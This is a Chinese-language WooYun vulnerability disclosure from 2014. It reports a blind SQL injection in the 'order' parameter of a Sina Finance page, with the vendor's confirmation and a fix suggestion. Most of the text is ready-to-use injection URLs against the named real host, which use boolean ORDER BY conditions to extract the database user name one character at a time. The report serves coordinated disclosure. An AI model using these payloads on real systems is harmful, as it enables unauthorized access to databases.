当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071187

漏洞标题:新浪财经某站sql盲注

相关厂商:新浪

漏洞作者: nextdoor

提交时间:2014-08-06 10:13

修复时间:2014-09-20 10:14

公开时间:2014-09-20 10:14

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-06: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向核心白帽子及相关领域专家公开
2014-08-26: 细节向普通白帽子公开
2014-09-05: 细节向实习白帽子公开
2014-09-20: 细节向公众公开

简要描述:

新浪财经某站sql盲注

详细说明:

存在漏洞的网站
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc
漏洞参数order
主要是order by 后的注入和sql语句构造
利用代码

http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=1),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确


sina1.PNG


http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=2),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回错误


sina2.PNG


根据报错,我们就可以盲注了
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),1,1))=66),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确,可以猜出user()的首字符为B
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),2,1))=73),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确,可以猜出user()的第二个字符为I
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),3,1))=90),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确,可以猜出user()的第三字符为Z


可以注处user()的前三位是BIZ
可以写一个脚步进行注入

漏洞证明:

存在漏洞的网站
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc
漏洞参数order
利用代码

http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=1),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#


sina1.PNG


http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=2),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#


sina2.PNG


http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),1,1))=66),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),2,1))=73),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),3,1))=90),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#


可以注处user()的前三位是BIZ
可以写一个脚步进行注入

修复方案:

对order参数进行过滤

版权声明:转载请注明来源 nextdoor@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-08-06 11:21

厂商回复:

感谢对新浪安全的支持

最新状态:

暂无